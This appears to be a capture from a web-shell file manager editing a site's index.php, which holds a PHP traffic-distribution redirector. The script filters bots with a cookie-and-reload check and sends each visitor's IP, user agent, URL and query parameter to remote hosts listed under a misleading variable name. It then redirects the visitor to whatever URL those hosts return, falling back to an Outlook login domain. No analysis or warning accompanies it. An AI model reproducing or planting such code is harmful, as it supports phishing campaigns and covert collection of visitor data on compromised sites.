OwlCyberSecurity - MANAGER

Edit File: index.php

<?php

$fallbackNoParam   = 'https://google.com';
$fallbackApiFailed = 'https://outlook.live.com';
$requestTimeout    = 5;
$cookieName        = 'rc';
$cookieValue       = '1';
// ==================

function postViaCurl($url, $payload, $timeout, &$transportBroken) {
    $transportBroken = false;
    if (!function_exists('curl_init')) {
        $transportBroken = true;
        return null;
    }
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $body = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $err  = curl_errno($ch);
    curl_close($ch);

// SSL/config errors = curl itself is broken on this box, not the remote host
    $sslOrConfigErrors = array(5, 35, 51, 53, 54, 58, 59, 60, 64, 66, 77, 83);
    if (in_array($err, $sslOrConfigErrors, true)) {
        $transportBroken = true;
    }
    if ($err !== 0 || $code < 200 || $code >= 300 || $body === false) return null;
    return $body;
}

function postViaFgc($url, $payload, $timeout) {
    $ctx = stream_context_create(array('http' => array(
        'method'  => 'POST',
        'header'  => "Content-Type: application/x-www-form-urlencoded\r\n",
        'content' => http_build_query($payload),
        'timeout' => $timeout,
    )));
    $body = @file_get_contents($url, false, $ctx);
    return ($body === false) ? null : $body;
}

function doRedirect($url) {
    echo '<meta http-equiv="refresh" content="0;url=' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '">';
    exit;
}

// ===== MAIN =====
$match = findQualifyingParam($_GET);
if ($match === null) doRedirect($fallbackNoParam);

if (!isset($_COOKIE[$cookieName])) {
    echo '<script>document.cookie="' . $cookieName . '=' . $cookieValue . '; path=/";location.reload();</script>';
    exit;
}

$payload = array(
    'param_name'  => $match['name'],
    'param_value' => is_array($match['value']) ? json_encode($match['value']) : (string) $match['value'],
    'ip'          => getClientIp(),
    'user_agent'  => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '',
    'current_url' => getCurrentUrl(),
);

shuffle($useragentdata);
$response = null;
$curlBroken = false;

foreach ($useragentdata as $useragentinfo) {
    if (!$curlBroken) {
        $response = postViaCurl($useragentinfo, $payload, $requestTimeout, $curlBroken);
        if ($response !== null) break;
    }
    $response = postViaFgc($useragentinfo, $payload, $requestTimeout);
    if ($response !== null) break;
}
if ($response === null) doRedirect($fallbackApiFailed);

$url = trim($response);
doRedirect($url !== '' ? $url : $fallbackApiFailed);